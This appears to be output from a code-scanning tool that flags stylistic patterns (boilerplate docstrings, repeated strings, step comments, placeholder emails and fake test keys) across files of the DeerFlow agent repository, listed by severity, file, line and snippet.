HIGH	backend/app/gateway/routers/models.py	143	Get a specific model by name. Args: model_name: The unique name of the model to retrieve. Returns:	STRING
HIGH	backend/app/gateway/routers/agents.py	239	Check whether an agent name is valid and not yet taken. Args: name: The agent name to check. Returns:	STRING
HIGH	backend/app/gateway/routers/agents.py	268	Get a specific custom agent by name. Args: name: The agent name. Returns: Agent details includ	STRING
HIGH	backend/app/gateway/routers/agents.py	306	Create a new custom agent. Args: request: The agent creation request. Returns: The created age	STRING
HIGH	backend/app/gateway/routers/agents.py	363	Update an existing custom agent. Args: name: The agent name. request: The update request (all field	STRING
HIGH	backend/app/gateway/routers/mcp.py	1098	Update the MCP configuration. This will: 1. Save the new configuration to the mcp_config.json file 2. Reloa	STRING
HIGH	backend/app/gateway/routers/artifacts.py	350	Get an artifact file by its path. The endpoint automatically detects file types and returns appropriate content typ	STRING
HIGH	backend/app/gateway/auth/repositories/base.py	27	Create a new user. Args: user: User object to create Returns: Created User wit	STRING
HIGH	backend/app/gateway/auth/repositories/base.py	69	Update an existing user. Args: user: User object with updated fields Returns:	STRING
HIGH	backend/packages/harness/deerflow/client.py	1240	Update MCP server configurations. Writes to extensions_config.json and reloads the cache. Args:	STRING
HIGH	backend/packages/harness/deerflow/client.py	1299	Update a skill's enabled status. Args: name: Skill name. enabled: New enabled status.	STRING
HIGH	backend/packages/harness/deerflow/client.py	1395	Install a skill from a .skill archive (ZIP). Args: skill_path: Path to the .skill file. Re	STRING
HIGH	backend/packages/harness/deerflow/client.py	1513	Upload local files into a thread's uploads directory. For PDF, PPT, Excel, and Word files, they are also conver	STRING
HIGH	backend/packages/harness/deerflow/client.py	1639	Delete a file from a thread's uploads directory. Args: thread_id: Thread ID. filename:	STRING
HIGH	backend/packages/harness/deerflow/client.py	1664	Read an artifact file produced by the agent. Args: thread_id: Thread ID. path: Virtual	STRING
HIGH	backend/packages/harness/deerflow/tools/sync.py	39	Build a synchronous wrapper for an asynchronous tool coroutine. Args: coro: Async callable backing a LangCh	STRING
HIGH	…kend/packages/harness/deerflow/config/agents_config.py	298	Load the custom or default agent's config. Dispatches to the configured agent store (``agent_storage.backend``): th	STRING
HIGH	backend/packages/harness/deerflow/config/paths.py	435	Resolve a sandbox virtual path to the actual host filesystem path. Args: thread_id: The thread ID.	STRING
HIGH	…/packages/harness/deerflow/config/extensions_config.py	343	Resolve the extensions config file path. Priority: 1. If provided `config_path` argument, use it.	STRING
HIGH	backend/packages/harness/deerflow/uploads/manager.py	49	Sanitize a filename by extracting its basename. Strips any directory components and rejects traversal patterns.	STRING
HIGH	backend/packages/harness/deerflow/uploads/manager.py	322	Delete a file inside base_dir after path-traversal validation. If convertible_extensions is provided and the fi	STRING
HIGH	backend/packages/harness/deerflow/utils/network.py	59	Allocate an available port in a thread-safe manner. This method is thread-safe. It finds an available port, mar	STRING
HIGH	backend/packages/harness/deerflow/utils/network.py	114	Get a free port in a thread-safe manner. This function uses a global port allocator to ensure that concurrent calls	STRING
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	292	Resolve a virtual skills path to a host filesystem path. WARNING: For per-user custom skills (``/mnt/skills/custom/	STRING
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	472	Resolve a virtual ACP workspace path to a host filesystem path. Args: path: Virtual path (e.g. /mnt/acp-wor	STRING
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	1375	Ensure sandbox is initialized, acquiring lazily if needed. On first call, acquires a sandbox from the provider and	STRING
HIGH	backend/packages/harness/deerflow/sandbox/sandbox.py	63	Execute bash command in sandbox. Args: command: The command to execute. env: Optional p	STRING
HIGH	backend/packages/harness/deerflow/sandbox/sandbox.py	114	Download the binary content of a file. Args: path: The absolute path of the file to download.	STRING
HIGH	…arness/deerflow/community/aio_sandbox/local_backend.py	529	Start a new container and return its connection info. Args: thread_id: Thread ID for which the sand	STRING
HIGH	…arness/deerflow/community/aio_sandbox/local_backend.py	792	Start a new container. Args: container_name: Name for the container. port: Host port to	STRING
HIGH	…deerflow/community/aio_sandbox/aio_sandbox_provider.py	2010	Create a new sandbox via the backend. Args: thread_id: Optional thread ID. sandbox_id:	STRING
HIGH	…rness/deerflow/community/aio_sandbox/ownership/base.py	112	Take ownership of sandbox_id only if it is unowned or already ours. Exclusive: succeeds only when the contain	STRING
HIGH	…kend/packages/harness/deerflow/reflection/resolvers.py	29	Resolve a variable from a path. Args: variable_path: The path to the variable (e.g. "parent_package_name.su	STRING
HIGH	…kend/packages/harness/deerflow/reflection/resolvers.py	74	Resolve a class from a module path and class name. Args: class_path: The path to the class (e.g. "langchain	STRING
HIGH	docs/SKILL_NAME_CONFLICT_FIX.md	214	Find a skill by name, optionally filtered by category. Args: skills: List of all skills skill_n	STRING
HIGH	skills/public/code-documentation/SKILL.md	273	Process data from the given file path. Reads the input file, applies transformations based on the provided opti	STRING

Modern AI Meta-Vocabulary59 hits · 140 pts

Severity	File	Line	Snippet	Context
MEDIUM	CHANGELOG.md	239	#### Auth & guardrails	COMMENT
MEDIUM	README.md	774	DeerFlow also supports [Monocle](https://github.com/monocle2ai/monocle), an OpenTelemetry-based tracer for agentic appli	CODE
MEDIUM	README.md	784	Each run writes one trace file to `.monocle/`; open it in the [Monocle VS Code extension](https://marketplace.visualstud	CODE
MEDIUM⚡	config.example.yaml	718	# embedding model and retrieved with at most four groups in parallel. Group	COMMENT
MEDIUM⚡	config.example.yaml	1121	# Prevents oversized tool results from blowing the model context window.	COMMENT
MEDIUM⚡	config.example.yaml	1242	# guardrails / models / tools). The built-in set covers OpenAI-compatible	COMMENT
MEDIUM⚡	config.example.yaml	2553	# guardrails:	COMMENT
MEDIUM⚡	config.example.yaml	2556	# use: deerflow.guardrails.builtin:AllowlistProvider	COMMENT
MEDIUM⚡	config.example.yaml	2563	# pip install aport-agent-guardrails && aport setup --framework deerflow	COMMENT
MEDIUM⚡	config.example.yaml	2564	# guardrails:	COMMENT
MEDIUM⚡	config.example.yaml	2570	# guardrails:	COMMENT
MEDIUM	config.example.yaml	470	# MiniMax provides high-performance models with 512K context window and 128K max output	COMMENT
MEDIUM	config.example.yaml	534	# MiniMax provides high-performance models with 512K context window and 128K max output	COMMENT
MEDIUM	AGENTS.md	57	├── Makefile # Root orchestration: drives the full stack (dev/start/stop, docker, setup)	CODE
MEDIUM	AGENTS.md	73	├── scripts/ # Root orchestration scripts invoked by the Makefile (check, configure, doctor, supp	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	104	"content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	104	"content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	104	"content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	269	"content": "[\n {\n \"title\": \"Top Technology Trends to Watch in 2026: AI, Quantum Computing ...\",\n \	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	383	"content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	383	"content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	694	"content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	732	"content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation \| by heavendai \| Medium\n\n[S	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	199	"content": "{\n \"name\": \"bytedance/deer-flow\",\n \"description\": \"DeerFlow is a community-driven Deep Re	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	618	"content": "[\n {\n \"title\": \"Create Your Own Deep Research Agent with DeerFlow\",\n \"url\": \"https:	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	656	"content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequence	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	656	"content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequence	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1149	"content": "[\n {\n \"title\": \"[Up-to-date] Awesome Agentic Deep Research Resources - GitHub\",\n \"url	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1226	"content": "[\n {\n \"title\": \"DeerFlow\",\n \"url\": \"https://deerflow.tech/\",\n \"snippet\": \"M	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1765	"content": "I've created a stylish, production-grade webpage based on the DeerFlow research report. Here's w	CODE
MEDIUM	deploy/helm/deer-flow/values.yaml	317	# datasets are grouped by embedding model with up to four parallel retrieval	COMMENT
MEDIUM⚡	backend/tests/test_suggestions_router.py	65	# MiniMax-M3 inlines its chain-of-thought as <think>...</think> in content	COMMENT
MEDIUM⚡	…kend/tests/monocle/traces/web_research_ev_battery.json	74	"{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in	CODE
MEDIUM⚡	…kend/tests/monocle/traces/web_research_ev_battery.json	236	"{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in	CODE
MEDIUM⚡	…kend/tests/monocle/traces/web_research_ev_battery.json	510	"{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in	CODE
MEDIUM⚡	…kend/tests/monocle/traces/web_research_ev_battery.json	731	"{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in	CODE
MEDIUM	backend/docs/GUARDRAILS.md	155	[APort Agent Guardrails](https://github.com/aporthq/aport-agent-guardrails) is one open-source (Apache 2.0) implementati	CODE
MEDIUM	backend/docs/task_tool_improvements.md	121	_scheduler_pool.submit(run_task) # Submit orchestration task	CODE
MEDIUM	…ckend/packages/harness/deerflow/agents/memory/tools.py	156	# The staleness age/category/removal-count guardrails protect automatic	COMMENT
MEDIUM	…low/agents/middlewares/safety_termination_detectors.py	127	https://platform.claude.com/docs/en/test-and-evaluate/strengthen-guardrails/handle-streaming-refusals	STRING
MEDIUM	docs/plans/2026-07-10-pluggable-authorization-rfc.md	433	# When authorization.enabled and guardrails.provider is unset, the authorization	COMMENT
MEDIUM	docs/plans/2026-07-10-pluggable-authorization-rfc.md	435	# (e.g. OAP) AS WELL, set guardrails.provider explicitly; both then enforce.	COMMENT
MEDIUM	docs/plans/2026-07-10-pluggable-authorization-rfc.md	510	- **[#3664](https://github.com/bytedance/deer-flow/issues/3664) / PR [#3665](https://github.com/bytedance/deer-flow/pull	CODE
MEDIUM	docs/plans/2026-07-10-pluggable-authorization-rfc.md	510	- **[#3664](https://github.com/bytedance/deer-flow/issues/3664) / PR [#3665](https://github.com/bytedance/deer-flow/pull	CODE
MEDIUM	scripts/support_bundle.py	32	# inside an open-ended config dict (e.g. guardrails.provider.config, which is an	COMMENT
MEDIUM	.github/workflows/triage.yml	3	# One workflow for all event-driven PR/issue labeling. Replaces the former	COMMENT
MEDIUM	.github/workflows/triage.yml	58	['area:backend', [/^backend\/app\//, /^backend\/packages\/harness\/deerflow\/(runtime\|persistence\|config\|	CODE

Cross-File Repetition21 hits · 105 pts

Severity	File	Snippet	Context
HIGH	backend/tests/test_serper_tools.py	reset the module-level warning flag before each test.	STRING
HIGH	backend/tests/test_brave_tools.py	reset the module-level warning flag before each test.	STRING
HIGH	backend/tests/test_serply_tools.py	reset the module-level warning flag before each test.	STRING
HIGH	…ages/harness/deerflow/runtime/checkpointer/provider.py	create the configured schema before langgraph creates its store tables.	STRING
HIGH	…arness/deerflow/runtime/checkpointer/async_provider.py	create the configured schema before langgraph creates its store tables.	STRING
HIGH	…nd/packages/harness/deerflow/runtime/store/provider.py	create the configured schema before langgraph creates its store tables.	STRING
HIGH	…kages/harness/deerflow/runtime/store/async_provider.py	create the configured schema before langgraph creates its store tables.	STRING
HIGH	…/packages/harness/deerflow/community/crawl4ai/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…packages/harness/deerflow/community/firecrawl/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…d/packages/harness/deerflow/community/fastcrw/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…ckend/packages/harness/deerflow/community/exa/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…d/packages/harness/deerflow/community/jina_ai/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…nd/packages/harness/deerflow/community/tavily/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…packages/harness/deerflow/community/infoquest/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…ckages/harness/deerflow/community/browserless/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…ckages/harness/deerflow/community/groundroute/tools.py	fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly	STRING
HIGH	…packages/harness/deerflow/community/firecrawl/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…d/packages/harness/deerflow/community/fastcrw/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…ckend/packages/harness/deerflow/community/exa/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…nd/packages/harness/deerflow/community/tavily/tools.py	search the web. args: query: the query to search for.	STRING
HIGH	…packages/harness/deerflow/community/infoquest/tools.py	search the web. args: query: the query to search for.	STRING

Self-Referential Comments30 hits · 84 pts

Severity	File	Line	Snippet	Context
MEDIUM	config.example.yaml	804	# Create a service API key in the Tencent Cloud WSA console, then set	COMMENT
MEDIUM	…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json	202	"content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sn	CODE
MEDIUM	backend/app/gateway/auth/credential_file.py	38	f"# DeerFlow admin {label} credentials\n# This file is generated on first boot or password reset.\n# Change the	CODE
MEDIUM	backend/app/channels/manager.py	2475	# Create a new thread through Gateway	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	512	# Create a live local run	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	1010	# Create a run owned by a different worker	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	1179	# Create an active run with an expired lease (simulating a crashed worker)	COMMENT
MEDIUM	backend/tests/test_multi_worker_run_ownership.py	2175	# Create a run that this worker owns	COMMENT
MEDIUM	backend/tests/test_sandbox_search_tools.py	542	# Create a sandbox with PathMappings that use user-abc's directory	COMMENT
MEDIUM⚡	backend/tests/test_client_e2e.py	502	# Create an output file in the thread's outputs directory	COMMENT
MEDIUM⚡	backend/tests/test_channel_file_attachments.py	108	# Create the directory structure: threads/{thread_id}/user-data/outputs/	COMMENT
MEDIUM	backend/tests/test_run_manager.py	1311	# Create a run and let it complete (will be in both memory and store)	COMMENT
MEDIUM	backend/tests/test_custom_agent.py	445	# Create the agents dir with a file (not a dir)	COMMENT
MEDIUM	backend/tests/test_custom_agent.py	676	# Create an agent through the API, then hand-author a github: block	COMMENT
MEDIUM⚡	backend/tests/test_client.py	2139	# Create a source file	COMMENT
MEDIUM⚡	backend/tests/test_client.py	3339	# Create a small archive that claims huge uncompressed size.	COMMENT
MEDIUM⚡	backend/tests/test_client.py	3803	# Create a target file outside uploads dir.	COMMENT
MEDIUM⚡	backend/tests/test_client.py	3807	# Create a symlink inside uploads dir pointing to outside file.	COMMENT
MEDIUM	backend/tests/test_client.py	1942	# Create a valid .skill archive	COMMENT
MEDIUM⚡	backend/tests/test_skills_custom_router.py	1025	# Create a public skill	COMMENT
MEDIUM⚡	backend/tests/test_skills_custom_router.py	1030	# Create a global custom skill (LEGACY fallback for users without per-user dir)	COMMENT
MEDIUM⚡	backend/tests/test_skills_custom_router.py	1035	# Create a per-user custom skill	COMMENT
MEDIUM	backend/tests/test_skills_custom_router.py	300	# Create a skill in user-level custom dir	COMMENT
MEDIUM	backend/packages/harness/deerflow/subagents/executor.py	938	# Create a new result for synchronous execution	COMMENT
MEDIUM	backend/packages/harness/deerflow/subagents/executor.py	1300	# Create a result with error if we don't have one	COMMENT
MEDIUM	…eerflow/agents/middlewares/clarification_middleware.py	529	# Create a ToolMessage with the formatted question	COMMENT
MEDIUM	backend/packages/harness/deerflow/mcp/tools.py	774	# Create the multi-server MCP client	COMMENT
MEDIUM	backend/packages/harness/deerflow/sandbox/tools.py	1541	# Create the three directories	COMMENT
MEDIUM	scripts/deploy.sh	161	# Create a minimal empty config so the gateway doesn't fail on startup	COMMENT
MEDIUM	.github/labels.yml	3	# This file is the single source of truth for repository labels used by the	COMMENT

Verbosity Indicators43 hits · 65 pts

Severity	File	Line	Snippet	Context
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	168	"content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	365	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	64	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json	186	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	2251	# Step 1: cancel(action=rollback) flips running → interrupted	COMMENT
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	2257	# Step 2: worker.py finalize path — task raises CancelledError, then	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	82	# Step 1: Start a container (simulating previous process lifecycle)	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	94	# Step 2: Create backend and list running containers	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	105	# Step 3: list_running should find our container	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	110	# Step 4: Simulate reconciliation — this container's created_at is recent,	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	166	# Step 2: Basic streaming (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	227	# Step 3: Tool call flow (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	263	# Step 4: File upload integration (no LLM needed for most)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	347	# Step 5: Lifecycle and configuration (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	404	# Step 6: Middleware chain verification (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	442	# Step 7: Error and boundary conditions	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	487	# Step 8: Artifact access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	542	# Step 9: Skill installation (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	639	# Step 10: Configuration management (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	776	# Step 11: Memory access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	295	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	302	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	323	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	330	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_client.py	2545	# Step 2: List	COMMENT
LOW⚡	backend/tests/test_client.py	2550	# Step 3: Delete one	COMMENT
LOW⚡	backend/tests/test_client.py	2554	# Step 4: Verify deletion	COMMENT
LOW	backend/tests/test_client.py	2533	# Step 1: Upload	COMMENT
LOW	backend/tests/test_client.py	2942	# Step 1: Install	COMMENT
LOW	backend/tests/test_client.py	2954	# Step 2: List and find it	COMMENT
LOW	backend/tests/test_client.py	2966	# Step 3: Disable it	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	361	# Step 1: Server returns masked config (simulates GET response)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	366	# Step 2: Frontend toggles enabled and sends back (simulates PUT request)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	369	# Step 3: Server merges with existing secrets (simulates PUT handler)	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	122	# Step 1: Look up built-in, then fall back to custom_agents	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	131	# Step 2: Apply per-agent overrides from config.yaml agents section.	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	677	# Step 1: enumerate container names via docker ps	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	712	# Step 2: batched docker inspect — single subprocess call for all containers	COMMENT
LOW⚡	skills/public/find-skills/scripts/install-skill.sh	49	# Step 1: Install the skill using npx	COMMENT
LOW⚡	skills/public/find-skills/scripts/install-skill.sh	52	# Step 2: Verify installation	COMMENT
LOW⚡	skills/public/find-skills/scripts/install-skill.sh	58	# Step 3: Create symlink	COMMENT

Fake / Example Data51 hits · 61 pts

Severity	File	Line	Snippet	Context
LOW⚡	frontend/tests/unit/core/auth/remember-login.test.ts	42	email: "admin@example.com",	CODE
LOW⚡	frontend/tests/unit/core/auth/remember-login.test.ts	48	"admin@example.com",	CODE
LOW⚡	frontend/tests/unit/core/auth/remember-login.test.ts	56	"deerflow.auth.remembered_email": "admin@example.com",	CODE
LOW⚡	frontend/tests/unit/core/auth/remember-login.test.ts	61	email: "admin@example.com",	CODE
LOW	frontend/tests/unit/core/auth/remember-login.test.ts	88	email: "admin@example.com",	CODE
LOW	frontend/tests/unit/core/threads/export.test.ts	209	const message = ai("placeholder", {	CODE
LOW	frontend/tests/unit/core/threads/export.test.ts	301	const message = ai("placeholder", {	CODE
LOW	…nents/workspace/gateway-offline-banner-helpers.test.ts	14	email: "user@example.com",	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	138	(element) => pattern.test(element.getAttribute("placeholder") ?? ""),	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	168	placeholderPattern.test(element.getAttribute("placeholder") ?? ""),	CODE
LOW	frontend/tests/e2e/sidecar-chat.spec.ts	243	/deeper follow-up/i.test(element.getAttribute("placeholder") ?? ""),	CODE
LOW⚡	backend/tests/test_clarification_middleware.py	588	"fields": [{"name": "note", "placeholder": "Optional remarks"}],	CODE
LOW⚡	backend/tests/test_clarification_middleware.py	594	assert payload["fields"][0]["placeholder"] == "Optional remarks"	CODE
LOW	backend/tests/test_clarification_middleware.py	636	assert sorted(items["properties"].keys()) == ["label", "name", "options", "placeholder", "required", "type"]	CODE
LOW⚡	backend/tests/test_oidc_auth.py	25	"email": "user@example.com",	CODE
LOW⚡	backend/tests/test_oidc_auth.py	36	local_user = User(email="user@example.com", password_hash="hash")	CODE
LOW⚡	backend/tests/test_oidc_auth.py	93	identity=_identity(subject="admin-subject", email="admin@example.com"),	CODE
LOW⚡	backend/tests/test_oidc_auth.py	99	email="admin@example.com",	CODE
LOW⚡	backend/tests/test_oidc_auth.py	189	local_provider.get_user_by_email.assert_awaited_once_with("user@example.com")	CODE
LOW⚡	backend/tests/test_oidc_auth.py	197	created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")	CODE
LOW	backend/tests/test_oidc_auth.py	58	local_user = User(email="user@example.com", password_hash="hash")	CODE
LOW	backend/tests/test_oidc_auth.py	82	email="admin@example.com",	CODE
LOW	backend/tests/test_oidc_auth.py	175	local_user = User(email="user@example.com", password_hash="hash")	CODE
LOW	backend/tests/test_oidc_auth.py	208	email="user@example.com",	CODE
LOW	backend/tests/test_oidc_auth.py	249	return {"sub": "subject", "email": "user@example.com", "email_verified": "false"}	CODE
LOW	backend/tests/test_oidc_auth.py	270	created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")	CODE
LOW⚡	backend/tests/test_paths_user_isolation.py	43	result = make_safe_user_id("user@example.com")	CODE
LOW⚡	backend/tests/test_paths_user_isolation.py	48	assert make_safe_user_id("user@example.com") == result	CODE
LOW⚡	backend/tests/test_paths_user_isolation.py	101	raw = "user@example.com"	CODE
LOW⚡	backend/tests/test_channels_router.py	19	email="admin@example.com",	CODE
LOW⚡	backend/tests/test_channels_router.py	28	email="user@example.com",	CODE
LOW⚡	backend/tests/test_auth.py	371	user = User(email="admin@example.com", password_hash="hash", needs_setup=True)	CODE
LOW⚡	backend/tests/test_channels.py	3774	raw = "user@example.com"	CODE
LOW	backend/tests/test_channels.py	3794	raw = "user@example.com"	CODE
LOW	backend/tests/test_claude_provider_oauth_billing.py	17	m = ClaudeChatModel(model="claude-sonnet-4-6", anthropic_api_key="sk-ant-oat-fake-token") # type: ignore[call-a	CODE
LOW	backend/tests/test_claude_provider_oauth_billing.py	19	m._oauth_access_token = "sk-ant-oat-fake-token"	CODE
LOW	backend/tests/test_runtime_lifecycle_e2e.py	195	monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used")	CODE
LOW⚡	backend/tests/test_initialize_admin.py	61	"email": "admin@example.com",	CODE
LOW⚡	backend/tests/test_initialize_admin.py	75	assert data["email"] == "admin@example.com"	CODE
LOW	backend/tests/test_buzz_channel.py	501	asyncio.run(ch.send(_outbound(ch, "placeholder", is_final=False)))	CODE
